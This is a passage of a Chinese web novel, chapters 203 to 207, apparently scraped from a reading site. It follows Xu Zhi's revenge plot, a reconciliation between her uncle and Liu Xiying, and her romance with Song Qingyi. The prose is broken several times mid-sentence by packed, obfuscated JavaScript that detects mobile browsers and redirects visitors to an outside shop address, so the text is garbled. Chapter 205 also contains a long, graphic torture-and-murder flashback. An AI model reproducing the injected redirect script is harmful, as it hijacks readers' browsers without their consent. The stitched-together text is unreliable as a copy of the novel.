说完又觉得自己莽撞,万一里面的情况外甥女不便多说,自己这样问怎么会问出答案呢? 他觉得自己应该拿个趁手的东西直接闯进去,不管什么妖魔鬼怪都直接拿下。 就是不知道外甥女现在是歇没歇下,万一他贸然闯进去,以后他跟外甥女可是尴尬一辈子。 所以他又开口问道:“小芷你安置下了吗?” 而许芷听到了邓耧子着急的问话,想着要赶紧安抚对方,不能让他着急。 等到邓耧子回了屋,她就能把宋清奕赶走。 “舅舅,我没事,不用担心,你快回去休息吧。” 说完又想到了院子里碎掉的酒瓶,继续解释说: “我有些头疼,想着喝两口酒,晕乎乎的就睡了,可是院子里黑,我没看清脚下酒瓶子打碎了。 天黑我怕扎了脚就没收拾,明早我早点起来弄,舅舅别担心,快去睡吧。 我这已经安置睡下了。” 许芷解释的很全面,语气听起来也很镇静。 可邓耧子怎么听怎么觉得这语气里多了些粉饰的意味,而这也代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225800|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表着自己的想法可能是对的。 外甥女许芷一定是面临着没法说实话的情况,被里面的人威胁着,故意这么反着说。 许芷可是自己的亲外甥女,他要是连这点都没听出来,岂不是枉为人舅。 所以他嘴上说着:“好,我知道了,小芷你也早点休息,那酒瓶子我收拾了,你别管了。” 说着故意加重了离开的脚步声。 实际上他警惕的看向许芷的房门,走到了厨房边的杂物间,拿出了一个锤子。 看了一眼之后,又觉得不满意,轻轻放下又拿起了一个锄头。 蹑手蹑脚的走到了许芷的门前。 突然一脚踹过去,大喊一声:“歹徒哪里跑!小芷,别怕,舅舅来救你了。” 说完看清屋里的情况,举起锄头的手,就停在了半空。 他尴尬又懵的看着同样一脸懵躺在床上,被这突如其来的情况吓得脸色有些发白的许芷。 “舅舅?我不是说没事吗?真的没事,我要睡了。” 邓耧子觉得一股热气从他的五脏六腑轰的一下钻出了自己每一个毛孔,一身汗落下的同时,他的脸色黑中透了点红色。 他慌张的吞了口唾沫,动作僵硬的放下了手里拿着的锄头,故意镇静的说道: “我听到你这屋好像有动静,怕万一有坏人你不知道,所以进来看看,看看...” 说完为了维持自己说的话,又为了检查一下更放心,他硬着头皮看了看整间屋子。 确定没有其他人,许芷的样子看起来也没有危险,他又淡定的打算出去。 再不出去,他这个当舅舅的脸都要没了。 可是他还没出去,又有突然情况。 “许姐姐我也来救你!” “许丫头别怕,我们母子来了!” 小业和刘喜英,一人拿扫帚,一人拿畚箕就闯了进来。 本来刘喜英看到邓耧子去看许芷的情况,心里放心很多。 寻思着应该没什么事儿。 可是刚准备躺下,就听到了邓耧子大喊一声。 睡着的小业都被吵醒了,两人听到有贼人妄图伤害许芷,立刻抄起东西就闯了过来。 第203章 两人和好 刘喜英看着一脸尴尬的邓耧子,还有床上疑惑不解的许芷,一下就懂了根本没事。 她脸唰的红了,干笑两声,解释道:“误会了误会。” 说着瞪了一眼邓耧子,要不是他大惊小怪,大家怎么会这样尴尬。 邓耧子看到刘喜英责怪的眼神,他呵呵笑了一声,眨巴着眼低下了头。 而刘喜英拉着儿子想要赶紧走,“小芷,你睡吧,快睡吧。” 说着就要强硬地拉儿子小业走,可是小业不懂,他甩开刘喜英的手大声说道: “许姐姐,你别怕,小业保护你,今晚我跟你睡,一定不让歹人近你一步!” 话音落下,小小的人就要往许芷的床上爬。 刘喜英听到这话头都要昏了,赶紧上前,猛地一把抱住儿子,就往外走。 走到门边还极其顺手的拉住了邓耧子的手,把人带出了许芷的房间。 许芷看到人都出去了,刚松了口气。 哐的一声门又打开,刘喜英一边道歉,一边快速的把扫帚、畚箕和锄头拿走了。 出去之后还顺手将院子里打碎的酒瓶收拾了。 邓耧子站在一边,等着刘喜英扫好,他蹲下拿着畚箕让刘喜英把碎片都扫进去。 他的脸依旧红着,不过已经不是因为尴尬而是因为刚刚刘喜英下意识牵着自己的行为。 他眼睛直勾勾的看着刘喜英,连碎片擦着手指过去,差点扎到手都没注意到。 刘喜英慌着给他的手拿开。 “你想什么呢?差点扎到手,好好看着。” 她担心又责怪的脸色,看的邓耧子呼吸一滞。 而刘喜英一下发觉自己的行为有些过了,不适合两个人现在的关系。 她慌张想要松开手,但是邓耧子眼疾手快的将她的手包进了自己的双手之间。 邓耧子目光灼灼的看着刘喜英,看的刘喜英羞怯不已,眼神慌乱的瞟着,不敢面对邓耧子。 “你放开我。” 她娇嗔的说着,手不轻不重的想要抽出来。 可是怎么都抽不出来,她的脸色这会儿也跟邓耧子一样红。 邓耧子这会儿气势了不少,他坚决道:“我不松手,喜英,你不知道我这半年来有多么的后悔。 后悔那日我说那样的话,伤你的心,你有两个孩子,牵挂多一些,不跟我一样不用顾忌太多。 所以你为了生活和孩子,一定会这样选择,是我考虑的太少,也是我太冲动,不够成熟。 喜英,对不起。” 他诚恳地承认着自己的错误,眼神温柔的好像能将对方化成水。 语调缱绻柔和,听的刘喜英心颤。 刘喜英娇怯道:“没事,当时我也太武断了,忽略了你的感受。” 邓耧子听到刘喜英的道歉,心里不是滋味,明明是他的错,所以他急切地反驳着: “不,都是我的错,是我不对,喜英,我真的不能接受——” 只是话未说完,就听到刘喜英房间里传来了小业和笑笑的声音。 “娘,妹妹要去茅厕。” “娘,我要去茅厕。” 听到这声音,邓耧子和刘喜英好似握了热炭一般,心虚的放开了手。 刘喜英站起身子,就想要走。 但邓耧子又抓住了她的手,热切的开口说:“等你把两个孩子哄睡了过来好不好?我在屋里等着你。” 刘喜英听到没回答,甩开他的手,往屋里躲。 但是邓耧子怕她不来又说了一遍,不敢大声说,可是语气非常期待。 “哎,来了。” 刘喜英关上门,把邓耧子那热烈的目光隔绝在了门板后面。 她稳了稳急速跳动的心脏,才走到了床边,外面冷给女儿穿了件袄子,故意又等了等,才带着女儿出去上茅厕。 开门的时候,她心虚的看了看外面已经没有了邓耧子的身影。 这她心里才平静了些,哄着女儿去了茅厕。 上完厕所之后,她给女儿和儿子都哄睡了,纠结了很久,不知道要不要去邓耧子的房间。 而邓耧子也在屋里焦急地等待着。 许久都没听到隔壁有动静,他心里只觉得越来越沉。 自嘲一笑,自己当初说话那么过分,凭什么觉得人家会原谅自己。 他起身想要去把门拴上,可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228328|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚走到门口,就听到了隔壁一声微弱的开门声。 他心中狂喜,按捺住因为激动而有些发抖的手。 紧接着听到了一阵刻意压着的脚步声,逐渐走进。 然后,他在门后面等着心上人进来。 可是门外的人却没了动静。 刘喜英纠结到最后还是决定过来,可是出门的时候决心很强烈,但真到了门口,她又犹豫了。 自己是个寡妇,真的能这样做吗? 他们两个真的不会再有这方面的矛盾吗? 主要是上次他们吵的太突然,他们说是在一起的时间只有半年,可是并没有红过一次脸,一直都是相濡以沫。 只有那次突然吵了起来,还闹到了分开的地步。 自己用了这么久的时间,好不容易才把这件事压了下去,再来一次的话,自己真的能承受的住吗? 这样想着,要敲门的手怎么都敲不下去。 最后她又想到了自己的一双儿女,想着算了,就不冒这个险了。 可是他刚转身,身后的门就吱呀一声打开了。 她惊讶的转头看过去,还没有个反应,就**耧子直接拽进了屋里。 邓耧子迟迟等不到外面的人有动作,他实在是等不了了。 也不顾什么伦理和礼貌,直接打开门,看到门外的人果然是要退缩。 他立马着急的伸出了手,将人拽了回来。 他怕再晚一点,就真的失去了刘喜英。 而现在人在他的怀里,他才觉得安心。 闻到了刘喜英身上熟悉的味道,感受着怀中人的温度,他语气哽咽的开口。 “还好,还好我打开了门,拦住了要走的你,要不然我就要再次失去你,你不知道我打开门看到你要离开的背影,我心里有多么的难过。 可现在你在我的怀里,我的好开心,我只要你。 你想在城里也好,我现在也来到了城里,我努力攒钱在城里买个院子,我们一家四口,幸福美满,好吗?” 刘喜英闻言,眼泪早已忍不住,泣不成声的点了点头。 得到了肯定的回答,邓耧子如释重负的也掉下了眼泪。 第204章 别推开我 许芷这边,看到人都走了之后,又等了一会儿。 等到院子里彻底安静了下来,她才松了口气。 将被子掀开,宋清奕安静地躺在她的身侧。 许芷心想还好没有点灯,屋里昏暗些。 再加上冬日被子厚,这才不至于让宋清奕被发现了去。 看到她允许他出来,宋清奕目光灼灼的望向许芷。 因为喝过酒,本身宋清奕的脸颊就有些绯红,又因为在被子里捂了半天,脸色更是红的厉害。 看过去都能感受到他的燥热。 许芷别开了眼睛,冷淡开口:“你快走吧,别再这样来找我。 还有,我之前就说过了,我现在是许芷,不是苏怀夕,别叫我怀夕。 你不要再...” 她正说着话,宋清奕突然握住了她的手。 他的掌心很热,目光十分炙热,语气里透着黏腻。 “好,那就叫你小芷。” 许芷听了不自在,把手抽了出来,强迫自己定了定心神。 “你走吧,别在这。” 语气中故意加了几分不耐,皱着眉头的样子好像真的很发愁。 可对方就那么看着自己不为所动,这样本来装作不高兴的许芷,是真的有些不耐。 语气加重了几分,继续说着让他离开的话。 宋清奕看着许芷嫣红的嘴唇一张一合,本就喝了酒不清醒的他,这会儿更是觉得困意上头。 他的眼前逐渐模糊,可许芷的脸却依旧清晰。 他好像病了,明明人就在他的身边,可是他听不到一个字。 宋清奕看到她跟从前一样,焦急又不安的时候会微微晃动的手指,他下意识的握了上去。 想告诉她自己在这,不要担心,不要害怕。 他想抚平她的焦躁。 可是许芷好像并不想让他触碰。 他有些困惑,可头脑不清醒,想东西东一榔锤西一棒头。 明明想要搞清楚她为什么不安,为什么抵触他? 可偏偏想着想着就想到了从前两人相处的时候,他的嘴角也不自觉地牵起。 思绪就像是乱成一团的麻绳,他左提右理,半天找不到另一个出口。 索性不找了,就这么看着她,看着她喋喋不休地样子。 突然,他看到了她紧皱的眉头,宋清奕觉得自己的心也跟着揪了一下。 十几年前,她就应该成为自己的妻子,可是现在他只能这样看着她。 这么想着,他混乱的思绪好像有了出口。 他好像找到了麻绳的另一端,许芷抵触跟自己接触,是不是因为他们两个孤男寡女并未成亲,不该有这样的亲密之举。 是的,他的心上人是最老实可爱的。 别看她平时清冷模样,可实际上最古板呆瓜的人也是她。 他伸出了手,大拇指指腹轻轻地贴上了她的眉间。 轻声温柔开口:“你的忧愁,我都会为你抚平,芷儿,别推开我。” 这个动作好像是有了什么仙法,刚刚还喋喋不休的许芷不仅不说话了,还跟定住一般。 他坐起身看到许芷发愣的看着自己,眼神里的情绪越来越熟悉。 跟十二年前的她别无二致。 十二年前她上京前夜,他偷偷翻进了她的闺房。 许芷红着脸把他推了出去,说话语气虽然冷,可那含羞带怯的样子,还是出卖了她。 那夜他站在窗户外,满眼情意看向她。 对着月亮起誓,等到许芷回来就来提亲。 宋清奕至今还记得当时她的样子,许芷眼波如水,看向他的时候,温柔的将他包裹。 往日里清冷的面容,此刻好像一点点的消失,取而代之的是一种隐秘的喜悦感。 少女的心意,如同天上月。 看似清冷有距离,实则月光早就照在了他的身上,他的心底。 即使她一句话也不说,宋清奕也懂了,她的答案是肯定的。 如今,少女的眼神又回来了,他的心底如同十二年前确认时一样,掀起了惊涛骇浪。 那种激动无处抒发,他只想进一步确认这一点。 唇齿相贴的瞬间,宋清奕的酒好像醒了,又好像没醒。 他...确定了。 明明许芷从再次醒来那一刻开始,她就打定了主意,要一个人报仇,不再跟从前的所有人有牵扯。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228329|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 尤其是宋清奕,她跟宋清奕怎么可能呢? 她成为了另外一个人,不是原来的苏怀夕。 可是当她听到宋清奕近乎乞求的语气,让自己别推开他的时候,她还是没忍住心头一窒。 这可是她从年少时就心悦的男子,两人从小一起长大,可以说没有那件事,她一定会成为他的妻子。 但偏偏人有旦夕祸福,她认为一定的事情却成为了不可能的事情。 尽管如此,尽管她早就打定主意远离他,她早就知道他们不可能。 可是当他用含着水光的眼睛,哽咽的乞求自己,许芷怎么可能狠得下心。 她最后还是败在了他的眼神里,他的情义里。 宋清奕的唇贴上来的时候,许芷的大脑一片空白。 这是她两辈子都没有体验过的感受,心里好像瞬间开满了鲜花。 又好像有一千只蝴蝶从自己打开的心门蜂拥而出。 她真的没有推开他。 只是这个吻并没有坚持很久,最后以醉酒合上眼的宋清奕靠在了许芷的肩头结束。 许芷感受着颈间喷洒的温热气息,她的手轻轻地摸上了唇。 静默的感受着、回味着,好似一个第一次吃到糖的孩童。 突然,一阵冷风灌进屋子,将许芷的思绪吹了回来。 意识到自己在干什么,许芷懊悔又无奈。 她将宋清奕平放在了身侧,看着熟睡的他,微微叹了口气。 轻声说:“你到底要我怎么办?我现在不是苏怀夕,若只是苏白薇,我或许会心存侥幸,还期待着跟你再续前缘。 可现在又牵扯上了长公主,我该怎么跟你回到从前。 我不会放弃报仇的,可是我无法预见我的结果。 我更不想连累你,就当我求求你,离我远一点吧,别再动摇我。” 许芷说着豆大的泪滴从眼角滑落,滴在了宋清奕的眼下。 他好像有所察觉地微微皱了眉,但也仅此而已,他还是沉沉的睡去。 许芷就那么看着他,不知道自己什么时候睡着的。 而睡梦中,许芷回到了十二年前那个雨夜。 她死的那一晚。 第205章 观音庙夜 庆历十一年,冬,十一月。 突如其来的一场雨把赶路的苏怀夕和苏白薇搁在了城外的观音庙内。 其实二人是可以赶到城里的,若是进了城在客栈住下,二人也不至于又冷又饿。 只是路上苏白薇百般不适,不是肚子疼就是头晕,要么就是累的不想走。 就耽搁了脚程。 苏怀夕看着火光映照下苏白薇天真的脸,越发觉得把这个堂妹带出来是个错误的决定。 临行前,她多次强调自己去京城是为了退婚,可三叔硬是非要自己带着这个妹妹去见世面。 这能见什么世面,退婚的世面? 那个三婶更是个难缠的,她不愿意多听三婶的鬼哭狼嚎,没办法只好带上了。 只是若只有她一人,快马加鞭,日夜兼程,估摸着现在都赶一半的路了。 现在却是五分之一的路程都没到,身上的银钱倒是挺足,就是太磨叽了。 思索间,苏白薇似乎是觉察到了自己不虞的脸色,从自己的包袱里摸了半天,掏出来了块芋头糕。 “怀夕姐姐,都怪我第一次出远门太过欢欣,所以才身体不适耽误了脚程,这是你爱吃的芋头糕,你吃点就别气着了。” 苏怀夕抬眼看去,苏白薇讨好一笑,手举着芋头糕凑到了她的脸前。 “我没气。”苏怀夕幽幽的说着。 “嗯,我知道姐姐是宽容大度之人,只是姐姐不接下这芋头糕我心里始终是过意不去。”苏白薇低垂着眼睫,看上去似是伤心了。 苏怀夕暗道一声:“麻烦。” 却也是接过了那块芋头糕两口便吃下了。 见她吃了,苏白薇噗嗤一笑:“我就知道姐姐不会生我的气。” 说完之后意味深长的看了眼苏怀夕,跟着补充了一句:“希望姐姐永远别生我的气。” “嗯...”苏怀夕胡乱敷衍了一声。 突然,一阵急促的脚步声传了进来。 紧跟着四五个黑衣人闯进了庙里,苏怀夕几乎是第一时间跨过火堆,挡在了苏白薇的身前。 “姐姐这是怎么回事啊?我好怕......” 身后苏白薇虽是颤抖着声音说着,语气却不似真的害怕那般。 但苏怀夕来不及多想,她的手悄悄放在了腰间。 那里常年配着一把短刀,为了跟爹走南闯北出去义诊时能保护自己。 可现在摸过去那边却是空的,她呼吸一滞。 “姐姐是在找这个吗?” 苏白薇的脸上依旧挂着天真的笑容,手上把玩的正是苏怀夕的那把黑青色短刀。 苏怀夕不解的看向苏白薇,抬脚就要上前去拿刀。 却脚下一软直接瘫坐在地上。 而苏白薇绕到了前面,站在了黑衣人那边,笑的得意。 “姐姐,芋头糕好吃吗?” 苏怀夕这才发现自己浑身没有了气力,这还有什么不明白的呢? “为什么?”苏怀夕咬着牙问出这句话。 苏白薇敛了笑容,冷漠的看着她,“因为我想嫁给谢臻哥哥呀。明明当初是我先发现受伤的他,我也给他端过药羹,可是为什么他的眼里只有你还要娶你!” 提及此,她冷笑一声,“最可气的是你居然要拒绝,我求都求不来的,你却看不到眼里。既然你这么不想要,那就让妹妹替你嫁进去,享受这荣华富贵吧” 苏白薇眼底染上了恨意,直直地盯着苏怀夕,“我要她**万段、剥皮抽筋。” 说着她从怀里拿出了一个瓷瓶,手猛的掐上了苏怀夕的下巴,强硬的掰开了她的嘴,全都灌了进去。 “我要你清醒的感受死亡,苏怀夕!” 话音落下,跟着一巴掌打在了苏怀夕的脸上,痛感却是平时的十倍。 苏怀夕清楚这是家里的秘药,喝了之后意识清醒,感官放大十倍。 先是腿骨,苏怀夕能清晰的感觉到自己的骨头被一寸一寸的敲碎。 因为感官放大了十倍,身体又因为软筋散动弹不得,所以她疼的好像整个人刚从水里捞出来的一样。 敲到腰间的时候,她闻到了极其难闻的味道,还有苏白薇放肆的嘲笑声。 苏怀夕知道自己这是疼的失禁了。 这些黑衣人敲到脖子的时候就不再往上了,接着她感受到了从手和脚四个方位划开皮肉的感觉。 每一根手指和脚趾都被划开了。 接着她感觉到有什么东西从自己的四肢剥离开了,此时的她已经疼到麻木。 在剥了头部以下的皮之后,苏怀夕两只眼睛变成了红色,头发就像海里的海带,一片一片的。 她脑子里除了疼没有任何的想法,甚至连恨苏白薇都没劲儿去恨。 朦胧中,她听到了苏白薇说:“把她的筋脉小心地扒出来,听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233322|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说谢臻哥哥痴迷岐黄之术,更是对人的经脉好奇之至,我便用这活生生的经脉图作为嫁妆赠予他。” 苏怀夕翻起眼皮,看向上位的苏白薇,她一直以为这个堂妹只是性子顽劣了点,可如今听来,原是个恶魔一般的人物。 只怕是阎罗殿里都没有这般蛇蝎心肠、心狠手辣之辈。 苏白薇察觉到了这双血红色的眼睛,正盯着自己。 她斜睨着看了苏怀夕一眼,下一秒毫不留情的拔下了发间的簪子,“噗叽”两下扎了进去。 那还是出门前,苏怀夕的亲娘送给她们两个的并蒂莲花簪,一人一支。 可如今却用在了这里。 苏怀夕的眼前只剩一片空洞,看不见之后感觉再次被放大。 刚刚好不容易已经**痛感,再次铺天盖地的袭来。 同时紧随而来的是对苏白薇滔天的恨意,她发誓若是有再来一次的机会,她定要食汝之肉,饮汝之血,啖汝之骨。 让其求生不得求死不能!!! 外面的雨哗啦啦的,下的更急了。 好像要将这观音庙内的罪恶和血色都冲刷掉。 苏白薇看着外面的瓢泼大雨,握着簪子的手还在往下滴血,若是细看能看到她的手微微颤抖。 “姐姐...人不为己天诛地灭啊...” 话音刚落,一道惊雷闪现,照亮了殿内的观音像。 苏白薇忽然觉得苏怀夕那血色的眼眸又在看自己,她转头望去,却只能看到空洞的眼眶。 是的,她刚刚不止插了进去,还将眼珠挑了出来,落在了旁边的干草上,好像两颗葡萄。 可那视线还没消失,她环顾四周,最后落在了那面容慈善的观音像上。 观音微阖的眼睛好像在盯着她,她也不过十七岁,远没有那么淡定。 她直视着观音的眼睛替自己辩解,又一遍:“人不为己,天诛地灭啊。” 说完,又是一道惊雷。 那边的黑衣人见差不多了,一刀割在了脖子上,早就流了一地的血了,现下就算割了脖子也没有喷射出多少。 很快苏怀夕便没了气息。 “收拾干净了,你们就走吧,我在这等着家里人接应。”苏白薇直愣愣的盯着地上那红彤彤的尸体。 远处的天边,轰隆隆的雷声,好像是审判的战车一般,冲向苏白薇,但最后也只是照亮了她稚嫩的脸。 第206章 如梦初醒 许芷醒来的时候,整个人好像刚从水里捞出来。 刚醒来自己好像还在那观音庙里,死去那一晚如同就是昨晚的事情。 她眼底的惊恐和脸色的苍白是那么的显眼,浑身不住的颤抖,眼泪好像决了堤的洪水,成行的往下落。 许芷大口的喘着粗气,脑海里不停地安慰着自己。 她已经重新活过来了,那是十二年前的事情了,自己现在活得很好。 就这么一遍遍的重复,慢慢的许芷情绪平复了许多,随之而来的是深深地疲惫感,还有彻骨的恨意。 她忽然想起,昨晚宋清奕在她身侧睡。 许芷看过去,身侧已经没有人,她的手摸过去,好像还能感受到宋清奕的体温。 从她醒来开始,这是头一次梦到了那晚的场景。 她的复仇之路,是一条满是荆棘和火焰的困难之路,宋清奕不该被卷进来。 所以许芷还是坚定了之前的想法,怎么都不能跟他牵扯。 她的惨死,家人的枉死,十几条人命在她的身上背着,她不能松懈。 想到这,许芷调整好自己的样子,起床穿衣。 走到洗脸架前,看到铜镜里,自己的样子好像久病初愈。 脸色苍白、嘴唇干涸起皮、眼窝深深地凹陷,一看就没有精神。 许芷没有用热水洗脸,而是用冷水,用手捧着往脸上拍了好几下。 腊月里的冷水,一下就让许芷清醒了不少。 再抬起头,她的眼神里只有熊熊燃烧的复仇火焰。 她重整旗鼓走出了房间,刘喜英和舅舅邓耧子已经起床了。 许芷起的不算早,他们早就吃过了早饭,小业也已经送去了私塾。 现在刘喜英和邓耧子已经在收拾铺子,打算开张了。 王茹娇还没过来。 看到她起来了,跟邓耧子牵着手的刘喜英慌张的甩开了手,立马远离了他。 刘喜英面色尴尬的笑着问许芷:“许丫头,今天怎么起这么晚?早饭给你备好了,在厨房的锅里温着,你看到没?” 许芷倒是没注意到两个人的小动作,也没去厨房看,所以自然是不知道的。 所以她开口说道:“我还没去厨房,那先辛苦你和舅舅整理着铺子,我去后面吃了饭就来。” “好。” 刘喜英笑着应道,看到许芷去了后院的厨房,她急忙走到邓耧子身边。 看到心上人又过来了,邓耧子笑的有些傻气还想去牵手。 但是刘喜英一把拍开了他的手,警告的说道:“咱们俩的事儿,还是跟以前一样保密,你可别离我太近,让他们看出了什么。” “好,都听你的。” 刚跟刘喜英和好如初,自然是她说什么,邓耧子都听。 看到邓耧子这么好说话,刘喜英心里比吃了蜜还甜。 许芷到了厨房,掀起了蒸笼的笼盖。 里面放着两个鸡蛋、一根红薯、一碗米粥和一盘清炒土豆丝。 灶里只放了一块炭,蒸笼里还有热水,一直温着,现在这些都还是热的。 许是昨晚那梦耗费了心神,许芷今早将这些东西都吃了个干净。 吃饱后刷了碗,她去了前厅,邓耧子和刘喜英已经开了门开始做生意。 王茹娇和孟雨兰也从村子里过来了。 看到孟雨兰,许芷开口叫着她去了里间,说是要跟她商量给长公主做的水中月样式。 两人商量了整整一个时辰才出来,在外面忙着的王茹娇一边招呼客人,一边也不忘好奇许芷到底要做什么样的样式。 好不容易等到两个人出来的时候,看到孟雨兰十分困惑和犹疑。 孟雨兰挠了挠头发还是没忍住问出口。 “小芷,这样行吗?” 许芷倒是十分胸有成竹,淡定的点点头,“当然行。” “好吧,就听你的。” 孟雨兰虽然嘴上说着听许芷的,可是那样子看起来还是有些不信。 这让本来就好奇的王茹娇更抓心挠肝了。 她趁着这会儿还不忙,上前问许芷和孟雨兰。 “怎么样?你们想好怎么对付那个恶女鬼了吗?” 王茹娇口中的恶女鬼就是苏白薇。 因为当时苏白薇并未表明身份,又因为她那恶毒、高高在上的样子,王茹娇一改对她仙女的初印象,改叫恶女鬼。 “什么叫对付啊,那可是大客户。” 孟雨兰捏着王茹娇的鼻子纠正说道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233323|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 王茹娇摆摆手,不服气的说道:“哪有这样刁钻的人? 这不重要,关键是你们想好了要怎么拿出她想要的东西了吗?” “想好了。” 孟雨兰点点头,肯定的说道。 这会儿倒是没有刚刚那怀疑的样子。 王茹娇一听笑着问道:“那给我说说呗?” 许芷和孟雨兰对视一眼,默契一笑,朱唇都吐出了两个字。 “保密。” 说完两个人各自散开去忙自己的。 而被留下的王茹娇疑惑不解,想不通这有什么可保密的。 干什么不告诉自己? 只是王茹娇从不为难自己,想不通就不想了。 她直接缠上了许芷去问。 许芷其实也没打算瞒着她,只是老是看着她那一脸好奇样子,就想逗逗她。 把握好分寸,在王茹娇耐心耗尽之前,告诉了她自己的打算。 没想到王茹娇听完之后也疑惑不解,她想她现在懂了孟雨兰的表情。 而说完的许芷已经继续忙了起来,王茹娇挣扎半天还是上前开口道: “小芷啊,我不是给你泼冷水,也不是觉得你的想法不好。 就是我觉得吧是不是有点太简单了? 那个恶女鬼可是说了是献给长公主的东西,那长公主何许人也,什么好东西没见过,只是这样的话是不是有点......” 王茹娇踌躇了一下,还是选择实话实说,她相信她跟许芷的姐妹情谊不会因为这一两句实话而变质的。 “有点敷衍了。” 如她所想,她说出这话之后,许芷根本没反应。 只是一边收拾东西一边跟她解释。 “诚如娇娇所说,那长公主可是一人之下万人之上的地位。 什么好东西、复杂的东西都见过,我要怎么做才能比得过宫里的能人巧匠呢? 所以对长公主来说的独一无二,并不是多么精美繁复,或者多么珍贵的东西,而是新和奇,要达到这两样,可不是有钱有手艺就能达到的。” 闻言,王茹娇垂眸一想,觉得也是。 便不再纠结,心想她们相信许芷就对了,许芷可是他们中最有想法、最厉害的人。 第207章 再袭闺房 当晚,许芷再度留在了铺子没有回村子。 本来还发愁怎么找借口留下的邓耧子,听到许芷要留下。 是借口,也是真心,说要留下保护许芷的安全。 说完,还特意看了刘喜英一眼。 本来还笑吟吟的刘喜英撞上他的目光,立刻羞怯的躲开。 晚上许芷刚洗好,进屋子的时候,因为拿着自己刚洗好的衣裳,没有腾出手关门。 刚把衣裳放进了柜子里,转身打算关上门。 却看到了宋清奕出现在了房间里,他盯着许芷关上了门。 “小芷...” 许芷愣怔的看着他,不明所以,但还是怒道:“你这是做什么?几度闯我闺房,实在不是什么君子所为!” 谁料宋清奕听到这话,反而笑了。 “只要能见到你,我就是柳下惠也当得。” 许芷听到只觉头疼,她皱眉轰他走。 “你别这样,快走!” 可是宋清奕好似听不到一样,直接坐到了她的炕上,脱下鞋子就躺了上去。 这可把许芷看懵了。 又来? “你那怀清堂后院那么大,非来我这小房间凑活什么?” “再大没有你我也嫌小,有了你再小我也觉得舒服。” 宋清奕说着,将双手放到了脑后枕着,舒服的闭上了眼。 昨晚他睡得很好,直到他听到了身侧传来的呜咽声。 从许芷断断续续的梦话和呻吟中,他将许芷死的那一夜发生的事情猜了个七七八八。 后来在他温柔的轻拍中,许芷逐渐缓了过来情绪,睡了过去。 他今夜再来,是怕她又梦到那些不好的事情。 怕她午夜梦回害怕的时候,身边没有一个能了解她、哄着她的人。 哪怕像昨晚那样,就算她没有被吓醒,能安抚做噩梦的她,让许芷能睡得好些也算。 所以他今夜又来了,还一改往日温柔的模样,装出这一副无赖样子。 不管她怎么说,他都铁了心的要在这陪着她。 可是这些许芷并不知情,她只觉得宋清奕这样子让她捉摸不透。 就是从前的他们都从未有过这样的亲密时刻。 昨夜是形势所迫,今夜完全没必要这个样子。 许芷远远地站在窗户边,神色警戒的看着炕上惬意躺着的宋清奕。 叹了口气轻声劝道:“你真的不必这个样子,我们两个还是装作不熟识的好。” “不熟识?” 宋清奕歪头反问回去。 “对。”许芷肯定道:“我既然是许芷,你就不该跟我走这么近。” 宋清奕没有接着反驳她的话,而是挑眉看向他,问道:“许姑娘是不是我们铺子的药材供应?” “是有如何?” 许芷皱眉怒嗔。 “既是如此,你跟我是正常生意往来,都说做生意该跟对方笑脸相迎,你跟我自然该是熟识。 毕竟谁跟不熟的人做生意,定然是我信任的人。 许姑娘不必看低了你跟我,更不要看低了咱们的生意。” 宋清奕说的非同一般的理所当然,让许芷一瞬间说不出什么反驳的话。 说起来好像确实是这样,他们两个乃有生意往来,自然应该亲近些。 许芷无奈的吐出一口气,再看过去宋清奕的眼睛又闭了起来。 